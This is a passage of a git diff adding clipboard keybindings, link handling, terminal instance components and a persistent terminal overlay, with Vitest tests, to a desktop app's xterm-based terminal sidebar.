+  it('reserves plain Ctrl+C for the shell on macOS, where ⌘C is the copy chord', () => {
+    expect(terminalClipboardIntent(key({ ctrlKey: true, key: 'c' }), { hasSelection: true, isMac: true })).toBeNull()
+    expect(terminalClipboardIntent(key({ key: 'c', metaKey: true }), { hasSelection: true, isMac: true })).toBe('copy')
+  })
+
+  it('only claims copy when there is something to copy', () => {
+    expect(terminalClipboardIntent(key({ key: 'c', metaKey: true }), { hasSelection: false, isMac: true })).toBeNull()
+    expect(
+      terminalClipboardIntent(key({ ctrlKey: true, key: 'c', shiftKey: true }), { hasSelection: false, isMac: false })
+    ).toBeNull()
+  })
+
+  it('claims paste regardless of selection, since paste has nothing to do with one', () => {
+    expect(terminalClipboardIntent(key({ key: 'v', metaKey: true }), { hasSelection: false, isMac: true })).toBe(
+      'paste'
+    )
+    expect(
+      terminalClipboardIntent(key({ ctrlKey: true, key: 'v', shiftKey: true }), { hasSelection: false, isMac: false })
+    ).toBe('paste')
+  })
+
+  it('leaves shell chords alone: bare Ctrl+V, Alt combos, and keyup', () => {
+    expect(terminalClipboardIntent(key({ ctrlKey: true, key: 'v' }), { hasSelection: false, isMac: false })).toBeNull()
+    expect(
+      terminalClipboardIntent(key({ altKey: true, ctrlKey: true, key: 'c' }), { hasSelection: true, isMac: false })
+    ).toBeNull()
+    expect(
+      terminalClipboardIntent(key({ key: 'c', metaKey: true, type: 'keyup' }), { hasSelection: true, isMac: true })
+    ).toBeNull()
+  })
+})
+
+describe('mirrorSelection', () => {
+  const host = () => {
+    const el = document.createElement('div')
+    const textarea = document.createElement('textarea')
+    textarea.className = 'xterm-helper-textarea'
+    el.appendChild(textarea)
+    document.body.appendChild(el)
+
+    return { el, textarea }
+  }
+
+  it('puts the selection where the OS copy command can find it while the terminal is focused', () => {
+    const { el, textarea } = host()
+    textarea.focus()
+    mirrorSelection(el, 'npm run check')
+
+    expect(textarea.value).toBe('npm run check')
+    expect(textarea.selectionStart).toBe(0)
+    expect(textarea.selectionEnd).toBe('npm run check'.length)
+  })
+
+  it('keeps the text staged but does not steal the document selection when chat owns focus', () => {
+    const { el, textarea } = host()
+    const outside = document.createElement('textarea')
+    document.body.appendChild(outside)
+    outside.focus()
+
+    mirrorSelection(el, 'stale terminal scrap')
+
+    expect(textarea.value).toBe('stale terminal scrap')
+    // No `select()` — caret may sit at the end after the value write, but the
+    // range must stay collapsed so the OS copy command still sees chat text.
+    expect(textarea.selectionStart).toBe(textarea.selectionEnd)
+    expect(document.activeElement).toBe(outside)
+  })
+
+  it('does not clobber a live chat highlight even if the terminal still has focus', () => {
+    const { el, textarea } = host()
+    textarea.focus()
+
+    const outside = document.createElement('span')
+    outside.textContent = 'chat text'
+    document.body.appendChild(outside)
+    const range = document.createRange()
+    range.selectNodeContents(outside)
+    const selection = window.getSelection()!
+    selection.removeAllRanges()
+    selection.addRange(range)
+
+    mirrorSelection(el, 'terminal scrap')
+
+    expect(textarea.value).toBe('terminal scrap')
+    expect(textarea.selectionStart).toBe(textarea.selectionEnd)
+    expect(selection.toString()).toBe('chat text')
+  })
+
+  it('clears the mirror when the selection goes away', () => {
+    const { el, textarea } = host()
+    textarea.focus()
+    mirrorSelection(el, 'something')
+    mirrorSelection(el, '')
+
+    expect(textarea.value).toBe('')
+  })
+
+  it('is a no-op before xterm has mounted its textarea', () => {
+    expect(() => mirrorSelection(document.createElement('div'), 'text')).not.toThrow()
+  })
+})
diff --git a/ui-desktop/src/app/right-sidebar/terminal/clipboard.ts b/ui-desktop/src/app/right-sidebar/terminal/clipboard.ts
new file mode 100644
index 000000000..3e306ca27
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/clipboard.ts
@@ -0,0 +1,88 @@
+// Clipboard keybindings for the GUI terminal.
+//
+// xterm renders to a canvas, so its selection is not a DOM selection and the
+// platform's own copy command has nothing to grab. Two mechanisms fix that:
+// this key map (explicit chords) and `mirrorSelection` below (which hands the
+// selection to the OS through xterm's hidden helper textarea, so the Edit menu,
+// ⌘C on macOS — swallowed by the menu before the renderer sees it — and the
+// right-click menu all work).
+//
+// The chords follow VS Code (terminal.clipboard.contribution.ts): ⌘C/⌘V on
+// macOS, Ctrl+Shift+C/V elsewhere, plus plain Ctrl+C as copy ONLY when text is
+// selected — the "intelligent Ctrl-C" of Windows Terminal and Tabby. With no
+// selection Ctrl+C stays SIGINT, so interrupting a process never breaks.
+
+export type TerminalClipboardIntent = 'copy' | 'paste' | null
+
+export function terminalClipboardIntent(
+  event: KeyboardEvent,
+  { hasSelection, isMac }: { hasSelection: boolean; isMac: boolean }
+): TerminalClipboardIntent {
+  if (event.type !== 'keydown' || event.altKey) {
+    return null
+  }
+
+  const key = event.key.toLowerCase()
+
+  if (isMac) {
+    if (!event.metaKey || event.ctrlKey || event.shiftKey) {
+      return null
+    }
+
+    // ⌘C with nothing selected falls through to the shell (⌘ isn't a terminal
+    // modifier, so it's a no-op there rather than a lost keystroke).
+    return key === 'c' ? (hasSelection ? 'copy' : null) : key === 'v' ? 'paste' : null
+  }
+
+  if (!event.ctrlKey || event.metaKey) {
+    return null
+  }
+
+  if (event.shiftKey) {
+    return key === 'c' ? (hasSelection ? 'copy' : null) : key === 'v' ? 'paste' : null
+  }
+
+  // Bare Ctrl+C: copy only when there's a selection to copy, else SIGINT.
+  return key === 'c' && hasSelection ? 'copy' : null
+}
+
+// Hand the terminal's selection to the OS by mirroring it into xterm's hidden
+// helper textarea (the same trick xterm uses for Linux middle-click paste,
+// CoreBrowserTerminal.ts:531). Without it `webContents.copy()` — what the Edit
+// menu, ⌘C, and the right-click Copy item all call — finds no DOM selection and
+// copies nothing.
+//
+// `textarea.select()` replaces the document's live range. Only claim it while
+// the terminal owns focus AND nothing outside the terminal is highlighted —
+// otherwise a leftover terminal scrap wins ⌘C over text the user just
+// selected in chat. The terminal's own ⌘C key handler still copies via
+// writeClipboardText when focus is on the canvas path.
+export function mirrorSelection(host: HTMLElement, text: string) {
+  const textarea = host.querySelector<HTMLTextAreaElement>('.xterm-helper-textarea')
+
+  if (!textarea) {
+    return
+  }
+
+  if (!text) {
+    textarea.value = ''
+
+    return
+  }
+
+  textarea.value = text
+
+  if (!host.contains(document.activeElement)) {
+    return
+  }
+
+  const live = window.getSelection()
+
+  const foreign = live && !live.isCollapsed && live.anchorNode != null && !host.contains(live.anchorNode)
+
+  if (foreign) {
+    return
+  }
+
+  textarea.select()
+}
diff --git a/ui-desktop/src/app/right-sidebar/terminal/instance.tsx b/ui-desktop/src/app/right-sidebar/terminal/instance.tsx
new file mode 100644
index 000000000..9d8149564
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/instance.tsx
@@ -0,0 +1,116 @@
+import '@xterm/xterm/css/xterm.css'
+
+import { Button } from '@/components/ui/button'
+import { KbdCombo } from '@/components/ui/kbd'
+import { Loader } from '@/components/ui/loader'
+import { useI18n } from '@/i18n'
+import { cn } from '@/lib/utils'
+
+import { reportTerminalShell } from './terminals'
+import { useAgentTerminal } from './use-agent-terminal'
+import { useTerminalSession } from './use-terminal-session'
+
+// Absolute-stacked so inactive tabs keep layout size (a display:none host goes
+// 0×0 and renders garbled on re-show); visibility toggles which one is seen.
+const INSTANCE_CLASS = 'absolute inset-0 flex flex-col bg-(--ui-terminal-surface-background) px-2 pb-2 pt-0'
+
+// xterm host. The screen/viewport overrides matter for the DOM renderer (the
+// WebGL fast-path paints the canvas from ITheme.background instead) — both
+// resolve to the same token, so the two renderers can't disagree.
+const HOST_CLASS =
+  'h-full min-h-0 overflow-hidden text-(--ui-text-secondary) [&_.xterm]:h-full [&_.xterm-screen]:bg-(--ui-terminal-surface-background)! [&_.xterm-viewport]:bg-(--ui-terminal-surface-background)!'
+
+interface TerminalInstanceProps {
+  id: string
+  cwd: string
+  active: boolean
+  onAddSelectionToChat: (text: string, label?: string) => void
+  restoreCwd?: string
+  reviveBuffer?: string
+}
+
+/** One persistent xterm+PTY. Every open tab stays mounted (so its shell and
+ *  scrollback survive tab switches); only the active one is shown. */
+export function TerminalInstance({
+  id,
+  active,
+  cwd,
+  onAddSelectionToChat,
+  restoreCwd,
+  reviveBuffer
+}: TerminalInstanceProps) {
+  const { t } = useI18n()
+
+  const { addSelectionToChat, hostRef, selection, selectionStyle, status } = useTerminalSession({
+    id,
+    cwd,
+    active,
+    onAddSelectionToChat,
+    restoreCwd,
+    reviveBuffer,
+    onShell: shell => reportTerminalShell(id, shell)
+  })
+
+  return (
+    <div
+      className={cn(INSTANCE_CLASS, active ? 'visible' : 'invisible pointer-events-none')}
+      // Focus-scope marker so isFocusWithin('[data-terminal]') can route ⌘W here.
+      data-terminal=""
+    >
+      {status === 'starting' && (
+        <div className="pointer-events-none absolute inset-0 z-10 grid place-items-center">
+          <Loader
+            className="size-8 text-(--ui-text-tertiary)"
+            pathSteps={180}
+            strokeScale={0.68}
+            type="spiral-search"
+          />
+        </div>
+      )}
+      {selection.trim() && (
+        <div className="absolute z-50 flex items-center gap-1" style={selectionStyle ?? { right: 12, top: 8 }}>
+          <Button
+            className="h-6 rounded-md px-2 text-[0.68rem] shadow-md backdrop-blur-md"
+            onClick={event => event.preventDefault()}
+            onMouseDown={event => {
+              event.preventDefault()
+              event.stopPropagation()
+              addSelectionToChat()
+            }}
+            type="button"
+            variant="secondary"
+          >
+            {t.rightSidebar.addToChat}
+            <KbdCombo className="ml-1 opacity-70" combo="mod+l" size="sm" />
+          </Button>
+        </div>
+      )}
+      {/* Outer div paints the terminal inset; inner div is the xterm host so the
+          canvas sizes to the content area and p-2 stays as terminal padding. */}
+      <div className={HOST_CLASS} ref={hostRef} />
+    </div>
+  )
+}
+
+interface AgentTerminalInstanceProps {
+  active: boolean
+  id: string
+  procId: string
+}
+
+/** Read-only mirror of an agent background process — a write-only xterm streamed
+ *  live from the backend output (no PTY, no input). */
+export function AgentTerminalInstance({ active, id, procId }: AgentTerminalInstanceProps) {
+  const { hostRef } = useAgentTerminal({ active, id, procId })
+
+  return (
+    <div
+      className={cn(INSTANCE_CLASS, active ? 'visible' : 'invisible pointer-events-none')}
+      // Same focus-scope marker as the user terminal so isFocusWithin('[data-terminal]')
+      // routes ⌘W here and closes the focused agent tab (not a preview).
+      data-terminal=""
+    >
+      <div className={HOST_CLASS} ref={hostRef} />
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/right-sidebar/terminal/links.test.ts b/ui-desktop/src/app/right-sidebar/terminal/links.test.ts
new file mode 100644
index 000000000..ca1c787db
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/links.test.ts
@@ -0,0 +1,75 @@
+import type { ILink, Terminal as TerminalType } from '@xterm/xterm'
+import { Terminal } from '@xterm/xterm'
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { isTerminalLinkActivation, terminalLinkHandler, terminalWebLinksAddon } from './links'
+
+const openExternal = vi.fn()
+const click = (init: Partial<MouseEvent> = {}) => ({ ctrlKey: false, metaKey: false, ...init })
+
+beforeEach(() => {
+  openExternal.mockClear()
+  Object.defineProperty(window, 'clawcodexDesktop', { configurable: true, value: { openExternal } })
+  // jsdom reports a non-mac platform, so the activation modifier resolves to
+  // Ctrl unless we say otherwise.
+  Object.defineProperty(navigator, 'platform', { configurable: true, value: 'MacIntel' })
+})
+
+// Drive the addon the way xterm does: load it on a real terminal, write a URL
+// into the buffer, then activate the link its provider reports.
+async function clickLinkIn(text: string, event: MouseEvent) {
+  const term = new Terminal({ allowProposedApi: true, cols: 80, rows: 10 })
+  const providers: Array<Parameters<TerminalType['registerLinkProvider']>[0]> = []
+  const register = term.registerLinkProvider.bind(term)
+
+  term.registerLinkProvider = provider => {
+    providers.push(provider)
+
+    return register(provider)
+  }
+
+  term.loadAddon(terminalWebLinksAddon())
+
+  await new Promise<void>(resolve => term.write(`${text}\r\n`, resolve))
+
+  const links = await new Promise<ILink[]>(resolve => providers[0].provideLinks(1, found => resolve(found ?? [])))
+
+  links[0]?.activate(event, links[0].text)
+
+  return links[0]?.text
+}
+
+describe('terminal links', () => {
+  it('opens a ⌘-clicked URL through the desktop bridge, not the window.open Electron denies', async () => {
+    const uri = 'https://example.com/path'
+
+    expect(await clickLinkIn(uri, new MouseEvent('click', { metaKey: true }))).toBe(uri)
+    expect(openExternal).toHaveBeenCalledWith(uri)
+  })
+
+  it('leaves a bare click to the selection, so a misclick never launches a browser', async () => {
+    await clickLinkIn('https://example.com/path', new MouseEvent('click'))
+
+    expect(openExternal).not.toHaveBeenCalled()
+  })
+
+  it('routes OSC 8 hyperlinks the same way, instead of xterm\u2019s confirm() dialog', () => {
+    terminalLinkHandler.activate(new MouseEvent('click', { metaKey: true }), 'https://example.com/osc8', {
+      end: { x: 10, y: 1 },
+      start: { x: 1, y: 1 }
+    })
+
+    expect(openExternal).toHaveBeenCalledWith('https://example.com/osc8')
+  })
+})
+
+describe('isTerminalLinkActivation', () => {
+  it('takes the platform modifier: ⌘ on macOS, Ctrl elsewhere', () => {
+    expect(isTerminalLinkActivation(click({ metaKey: true }), true)).toBe(true)
+    expect(isTerminalLinkActivation(click({ ctrlKey: true }), false)).toBe(true)
+  })
+
+  it('keeps Ctrl+click free on macOS, where the OS reads it as a right-click', () => {
+    expect(isTerminalLinkActivation(click({ ctrlKey: true }), true)).toBe(false)
+  })
+})
diff --git a/ui-desktop/src/app/right-sidebar/terminal/links.ts b/ui-desktop/src/app/right-sidebar/terminal/links.ts
new file mode 100644
index 000000000..410244071
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/links.ts
@@ -0,0 +1,35 @@
+import { WebLinksAddon } from '@xterm/addon-web-links'
+import type { ILinkHandler } from '@xterm/xterm'
+
+import { openExternalLink } from '@/lib/external-link'
+
+import { isMacPlatform } from './selection'
+
+// Both of xterm's link paths — the web-links addon (URLs it finds in the
+// buffer) and the core OSC 8 provider (hyperlinks a CLI emits explicitly) —
+// activate through `window.open()`, which the window's setWindowOpenHandler
+// denies: a click did nothing but log "Opening link blocked as opener could not
+// be cleared", and OSC 8 fronted that dead end with a raw confirm() dialog.
+// Route both through the desktop bridge, the path every other external link in
+// the app takes.
+//
+// ⌘-click on macOS, Ctrl-click elsewhere — VS Code's integrated terminal,
+// Terminal.app, and iTerm2 all agree. A bare click belongs to the selection, so
+// a misclick on a URL can't launch a browser mid-sentence. ⌥ stays out of it:
+// that's the force-selection drag over mouse-mode TUIs.
+export function isTerminalLinkActivation(
+  event: Pick<MouseEvent, 'ctrlKey' | 'metaKey'>,
+  isMac = isMacPlatform()
+): boolean {
+  return isMac ? event.metaKey : event.ctrlKey
+}
+
+const activate = (event: MouseEvent, uri: string) => {
+  if (isTerminalLinkActivation(event)) {
+    openExternalLink(uri)
+  }
+}
+
+export const terminalLinkHandler: ILinkHandler = { activate }
+
+export const terminalWebLinksAddon = () => new WebLinksAddon(activate)
diff --git a/ui-desktop/src/app/right-sidebar/terminal/persistent.test.tsx b/ui-desktop/src/app/right-sidebar/terminal/persistent.test.tsx
new file mode 100644
index 000000000..47c9990eb
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/persistent.test.tsx
@@ -0,0 +1,413 @@
+import { act, type ReactNode } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { hiddenPaneProps, PANE_HIDDEN_ATTR } from '@/components/pane-shell/pane-visibility'
+import { $paneStates } from '@/store/panes'
+
+import { $terminalTakeover } from '../store'
+
+import { PersistentTerminal, TerminalSlot } from './persistent'
+
+vi.mock('../store', async () => ({
+  $terminalTakeover: (await import('nanostores')).atom(false)
+}))
+
+vi.mock('./terminals', () => ({
+  ensureTerminal: vi.fn()
+}))
+
+vi.mock('./workspace', () => ({
+  TerminalWorkspace: () => <div data-testid="terminal-workspace" />
+}))
+
+let resizeObserverCallback: ResizeObserverCallback | null = null
+let mutationObserverCallback: MutationCallback | null = null
+let mutationObserveCalls: Array<{ options?: MutationObserverInit; target: Node }> = []
+let root: Root | null = null
+let container: HTMLDivElement | null = null
+let windowStateCallback: ((payload: { isMinimized?: boolean; isVisible?: boolean }) => void) | null = null
+
+function render(ui: ReactNode) {
+  container = document.createElement('div')
+  document.body.append(container)
+  root = createRoot(container)
+
+  act(() => {
+    root!.render(ui)
+  })
+}
+
+function cleanup() {
+  if (root) {
+    act(() => {
+      root!.unmount()
+    })
+  }
+
+  container?.remove()
+  root = null
+  container = null
+}
+
+function setVisibility(hidden: boolean) {
+  Object.defineProperty(document, 'hidden', { configurable: true, value: hidden })
+  Object.defineProperty(document, 'visibilityState', { configurable: true, value: hidden ? 'hidden' : 'visible' })
+}
+
+function installWindowStateBridge() {
+  windowStateCallback = null
+  Object.defineProperty(window, 'clawcodexDesktop', {
+    configurable: true,
+    value: {
+      onWindowStateChanged: vi.fn((callback: typeof windowStateCallback) => {
+        windowStateCallback = callback
+
+        return () => {
+          if (windowStateCallback === callback) {
+            windowStateCallback = null
+          }
+        }
+      })
+    }
+  })
+}
+
+function rect(top: number, left: number, width: number, height: number): DOMRect {
+  return {
+    bottom: top + height,
+    height,
+    left,
+    right: left + width,
+    top,
+    width,
+    x: left,
+    y: top,
+    toJSON: () => ({})
+  } as DOMRect
+}
+
+function installRaf() {
+  let nextId = 1
+  const frames = new Map<number, FrameRequestCallback>()
+
+  const request = vi.fn((callback: FrameRequestCallback) => {
+    const id = nextId++
+    frames.set(id, callback)
+
+    return id
+  })
+
+  const cancel = vi.fn((id: number) => {
+    frames.delete(id)
+  })
+
+  Object.defineProperty(window, 'requestAnimationFrame', { configurable: true, value: request })
+  Object.defineProperty(window, 'cancelAnimationFrame', { configurable: true, value: cancel })
+
+  return {
+    cancel,
+    pending: () => frames.size,
+    request,
+    runNext: () => {
+      const next = frames.entries().next().value
+
+      if (!next) {
+        throw new Error('No pending RAF')
+      }
+
+      const [id, callback] = next
+      frames.delete(id)
+      callback(0)
+    }
+  }
+}
+
+function Harness() {
+  return (
+    <>
+      <TerminalSlot className="slot" />
+      <PersistentTerminal onAddSelectionToChat={() => undefined} />
+    </>
+  )
+}
+
+function HiddenPaneHarness({ hidden }: { hidden: boolean }) {
+  return (
+    <>
+      <div {...hiddenPaneProps(hidden)}>
+        <TerminalSlot className="slot" />
+      </div>
+      <PersistentTerminal onAddSelectionToChat={() => undefined} />
+    </>
+  )
+}
+
+describe('PersistentTerminal rect tracking', () => {
+  beforeEach(() => {
+    ;(globalThis as typeof globalThis & { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true
+    setVisibility(false)
+    vi.spyOn(document, 'hasFocus').mockReturnValue(true)
+    installWindowStateBridge()
+    resizeObserverCallback = null
+    mutationObserverCallback = null
+    mutationObserveCalls = []
+    vi.stubGlobal(
+      'ResizeObserver',
+      class {
+        constructor(callback: ResizeObserverCallback) {
+          resizeObserverCallback = callback
+        }
+
+        disconnect = vi.fn()
+        observe = vi.fn()
+        unobserve = vi.fn()
+      } as unknown as typeof ResizeObserver
+    )
+    vi.stubGlobal(
+      'MutationObserver',
+      class {
+        constructor(callback: MutationCallback) {
+          mutationObserverCallback = callback
+        }
+
+        disconnect = vi.fn()
+        observe = vi.fn((target: Node, options?: MutationObserverInit) => {
+          mutationObserveCalls.push({ options, target })
+        })
+        takeRecords = vi.fn(() => [])
+      } as unknown as typeof MutationObserver
+    )
+  })
+
+  afterEach(() => {
+    cleanup()
+    $terminalTakeover.set(false)
+    vi.unstubAllGlobals()
+    vi.restoreAllMocks()
+    setVisibility(false)
+    delete (window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop
+  })
+
+  it('settles after rect changes instead of polling forever', () => {
+    const raf = installRaf()
+    let currentRect = rect(10, 20, 200, 100)
+    vi.spyOn(HTMLElement.prototype, 'getBoundingClientRect').mockImplementation(() => currentRect)
+
+    render(<Harness />)
+
+    expect(raf.request).toHaveBeenCalledTimes(1)
+
+    act(() => {
+      raf.runNext()
+    })
+
+    expect(raf.request).toHaveBeenCalledTimes(1)
+    expect(raf.pending()).toBe(0)
+
+    currentRect = rect(12, 24, 220, 120)
+    act(() => {
+      resizeObserverCallback?.([], {} as ResizeObserver)
+    })
+
+    expect(raf.request).toHaveBeenCalledTimes(2)
+
+    act(() => {
+      raf.runNext()
+    })
+
+    expect(raf.request).toHaveBeenCalledTimes(3)
+
+    act(() => {
+      raf.runNext()
+    })
+
+    expect(raf.request).toHaveBeenCalledTimes(3)
+    expect(raf.pending()).toBe(0)
+  })
+
+  it('remeasures when layout moves the slot without resizing it', () => {
+    const raf = installRaf()
+    let currentRect = rect(10, 20, 200, 100)
+    vi.spyOn(HTMLElement.prototype, 'getBoundingClientRect').mockImplementation(() => currentRect)
+
+    render(<Harness />)
+
+    expect(mutationObserveCalls.length).toBeGreaterThan(0)
+    expect(mutationObserveCalls.every(call => call.options?.subtree === false)).toBe(true)
+
+    act(() => {
+      raf.runNext()
+    })
+
+    const overlay = container!.lastElementChild as HTMLElement
+    expect(overlay.style.top).toBe('10px')
+    expect(overlay.style.left).toBe('20px')
+    expect(raf.pending()).toBe(0)
+
+    currentRect = rect(32, 48, 200, 100)
+    act(() => {
+      mutationObserverCallback?.([], {} as MutationObserver)
+    })
+
+    expect(raf.request).toHaveBeenCalledTimes(2)
+
+    act(() => {
+      raf.runNext()
+    })
+
+    expect(overlay.style.top).toBe('32px')
+    expect(overlay.style.left).toBe('48px')
+
+    act(() => {
+      raf.runNext()
+    })
+
+    expect(raf.pending()).toBe(0)
+  })
+
+  it('remeasures from an explicit pane-layout state change', () => {
+    const raf = installRaf()
+    const before = $paneStates.get()
+    vi.spyOn(HTMLElement.prototype, 'getBoundingClientRect').mockReturnValue(rect(10, 20, 200, 100))
+
+    render(<Harness />)
+    raf.runNext()
+    expect(raf.pending()).toBe(0)
+
+    act(() => {
+      $paneStates.set({ ...before, __terminal_rect_test__: { open: true } })
+    })
+
+    expect(raf.pending()).toBe(1)
+
+    act(() => {
+      raf.runNext()
+      $paneStates.set(before)
+    })
+  })
+
+  it('does not schedule rect RAFs while the Electron window is paused, then resumes when visible', () => {
+    const raf = installRaf()
+    vi.spyOn(HTMLElement.prototype, 'getBoundingClientRect').mockReturnValue(rect(10, 20, 200, 100))
+
+    render(<Harness />)
+
+    expect(raf.request).toHaveBeenCalledTimes(1)
+
+    act(() => {
+      windowStateCallback?.({ isMinimized: true, isVisible: false })
+    })
+
+    expect(raf.cancel).toHaveBeenCalledTimes(1)
+    expect(raf.pending()).toBe(0)
+
+    act(() => {
+      resizeObserverCallback?.([], {} as ResizeObserver)
+    })
+
+    expect(raf.request).toHaveBeenCalledTimes(1)
+
+    act(() => {
+      windowStateCallback?.({ isMinimized: false, isVisible: true })
+    })
+
+    expect(raf.request).toHaveBeenCalledTimes(2)
+  })
+
+  it('suspends while unfocused and cancels every callback on unmount', () => {
+    const raf = installRaf()
+    vi.spyOn(HTMLElement.prototype, 'getBoundingClientRect').mockReturnValue(rect(10, 20, 200, 100))
+
+    render(<Harness />)
+    expect(raf.pending()).toBe(1)
+
+    act(() => window.dispatchEvent(new Event('blur')))
+    expect(raf.pending()).toBe(0)
+
+    act(() => window.dispatchEvent(new Event('focus')))
+    expect(raf.pending()).toBe(1)
+
+    cleanup()
+    expect(raf.pending()).toBe(0)
+
+    act(() => {
+      window.dispatchEvent(new Event('focus'))
+      resizeObserverCallback?.([], {} as ResizeObserver)
+      mutationObserverCallback?.([], {} as MutationObserver)
+    })
+    expect(raf.pending()).toBe(0)
+  })
+
+  it('does not schedule an initial frame when mounted while unfocused', () => {
+    const raf = installRaf()
+    vi.mocked(document.hasFocus).mockReturnValue(false)
+    vi.spyOn(HTMLElement.prototype, 'getBoundingClientRect').mockReturnValue(rect(10, 20, 200, 100))
+
+    render(<Harness />)
+
+    expect(raf.request).not.toHaveBeenCalled()
+
+    act(() => window.dispatchEvent(new Event('focus')))
+
+    expect(raf.pending()).toBe(1)
+  })
+
+  it('hides the overlay but keeps its workspace mounted when the terminal tab becomes inactive', () => {
+    const raf = installRaf()
+    vi.spyOn(HTMLElement.prototype, 'getBoundingClientRect').mockReturnValue(rect(10, 20, 200, 100))
+    $terminalTakeover.set(true)
+
+    render(<HiddenPaneHarness hidden={false} />)
+
+    const overlay = container!.lastElementChild as HTMLElement
+    const workspace = container!.querySelector('[data-testid="terminal-workspace"]')
+
+    expect(overlay.style.visibility).toBe('visible')
+    expect(overlay.style.opacity).toBe('1')
+    expect(overlay.style.pointerEvents).toBe('auto')
+    expect(workspace).not.toBeNull()
+    expect(mutationObserveCalls.some(call => call.options?.attributeFilter?.includes(PANE_HIDDEN_ATTR))).toBe(true)
+
+    // Let the initial changed-rect follow-up settle. The hidden-pane transition
+    // must wake the observer from an otherwise idle state.
+    act(() => {
+      raf.runNext()
+    })
+    expect(raf.pending()).toBe(0)
+
+    act(() => {
+      root!.render(<HiddenPaneHarness hidden />)
+      mutationObserverCallback?.([], {} as MutationObserver)
+    })
+    expect(raf.pending()).toBe(1)
+
+    act(() => {
+      raf.runNext()
+    })
+
+    expect(overlay.style.visibility).toBe('hidden')
+    expect(overlay.style.opacity).toBe('0')
+    expect(overlay.style.pointerEvents).toBe('none')
+    expect(container!.querySelector('[data-testid="terminal-workspace"]')).toBe(workspace)
+
+    act(() => {
+      raf.runNext()
+    })
+    expect(raf.pending()).toBe(0)
+
+    act(() => {
+      root!.render(<HiddenPaneHarness hidden={false} />)
+      mutationObserverCallback?.([], {} as MutationObserver)
+    })
+
+    act(() => {
+      raf.runNext()
+    })
+
+    expect(overlay.style.visibility).toBe('visible')
+    expect(overlay.style.opacity).toBe('1')
+    expect(overlay.style.pointerEvents).toBe('auto')
+    expect(container!.querySelector('[data-testid="terminal-workspace"]')).toBe(workspace)
+  })
+})
diff --git a/ui-desktop/src/app/right-sidebar/terminal/persistent.tsx b/ui-desktop/src/app/right-sidebar/terminal/persistent.tsx
new file mode 100644
index 000000000..9f7180a03
--- /dev/null
+++ b/ui-desktop/src/app/right-sidebar/terminal/persistent.tsx
@@ -0,0 +1,263 @@
+import { useStore } from '@nanostores/react'
+import { atom } from 'nanostores'
+import { type CSSProperties, useEffect, useLayoutEffect, useRef, useState } from 'react'
+
+import { isElementInHiddenPane, PANE_HIDDEN_ATTR } from '@/components/pane-shell/pane-visibility'
+import { $layoutTree } from '@/components/pane-shell/tree/store'
+import { markRightPanePerf } from '@/debug/right-pane-events'
+import { createRendererLoopPauseController } from '@/lib/renderer-loop-pause'
+import { $paneStates } from '@/store/panes'
+
+import { $terminalTakeover } from '../store'
+
+import { ensureTerminal } from './terminals'
+import { TerminalWorkspace } from './workspace'
+
+/**
+ * One xterm Terminal mounted at the layout root and CSS-overlayed onto
+ * whichever `<TerminalSlot />` is active. Moving the host DOM detaches xterm's
+ * WebGL renderer (it observes its own attachment) and resets the screen, so
+ * the host stays put and we chase the slot's bounding rect with position:fixed.
+ */
+
+const $slot = atom<HTMLElement | null>(null)
+
+const SLOT_CLASS = 'relative flex min-h-0 min-w-0 flex-1 flex-col'
+
+export function TerminalSlot({ className = SLOT_CLASS }: { className?: string }) {
+  const ref = useRef<HTMLDivElement | null>(null)
+
+  useEffect(() => {
+    const el = ref.current
+
+    if (!el) {
+      return
+    }
+
+    $slot.set(el)
+
+    return () => {
+      if ($slot.get() === el) {
+        $slot.set(null)
+      }
+    }
+  }, [])
+
+  return <div className={className} data-terminal-slot="" ref={ref} />
+}
+
+interface PersistentTerminalProps {
+  onAddSelectionToChat: (text: string, label?: string) => void
+}
+
+interface Rect {
+  hidden: boolean
+  top: number
+  left: number
+  width: number
+  height: number
+}
+
+const sameRect = (a: Rect | null, b: Rect) =>
+  !!a && a.hidden === b.hidden && a.top === b.top && a.left === b.left && a.width === b.width && a.height === b.height
+
+export function PersistentTerminal({ onAddSelectionToChat }: PersistentTerminalProps) {
+  const slot = useStore($slot)
+  const terminalTakeover = useStore($terminalTakeover)
+  const [rect, setRect] = useState<Rect | null>(null)
+  const [ready, setReady] = useState(false)
+
+  // VS Code parity: once the pane has ever been opened, keep the terminals
+  // mounted — and their shells alive — even while hidden. Hiding the pane just
+  // collapses the slot, so the overlay below goes invisible; nothing is torn
+  // down. Only an explicit per-tab close kills a PTY. Re-opening re-ensures one
+  // terminal exists (covers having closed the last tab).
+  const [mounted, setMounted] = useState(false)
+
+  useEffect(() => {
+    if (terminalTakeover && ready) {
+      setMounted(true)
+      ensureTerminal()
+    }
+  }, [terminalTakeover, ready])
+
+  useLayoutEffect(() => {
+    if (!slot) {
+      setRect(null)
+
+      return
+    }
+
+    let prev: Rect | null = null
+    let frame = 0
+    let stopped = false
+    let pendingReason = 'initial'
+    let pauseController: ReturnType<typeof createRendererLoopPauseController> | null = null
+
+    const rendererPaused = () => pauseController?.isPaused() ?? document.visibilityState === 'hidden'
+
+    const cancelFrame = () => {
+      if (frame !== 0) {
+        window.cancelAnimationFrame(frame)
+        frame = 0
+      }
+    }
+
+    const measure = (reason: string): boolean => {
+      if (rendererPaused()) {
+        return false
+      }
+
+      markRightPanePerf('terminal-measure', reason)
+      const r = slot.getBoundingClientRect()
+      // floor top/left + ceil right/bottom: overlay always covers the slot's
+      // full pixel footprint, so half-pixel rects can't leak page bg through.
+      const top = Math.floor(r.top)
+      const left = Math.floor(r.left)
+
+      // Inactive keep-alive panes deliberately retain the same rect as the
+      // foreground pane, so visibility must be sampled independently.
+      const next: Rect = {
+        hidden: isElementInHiddenPane(slot),
+        top,
+        left,
+        width: Math.ceil(r.right) - left,
+        height: Math.ceil(r.bottom) - top
+      }
+
+      if (!sameRect(prev, next)) {
+        prev = next
+        setRect(next)
+
+        if (next.width > 0 && next.height > 0) {
+          setReady(true)
+        }
+
+        return true
+      }
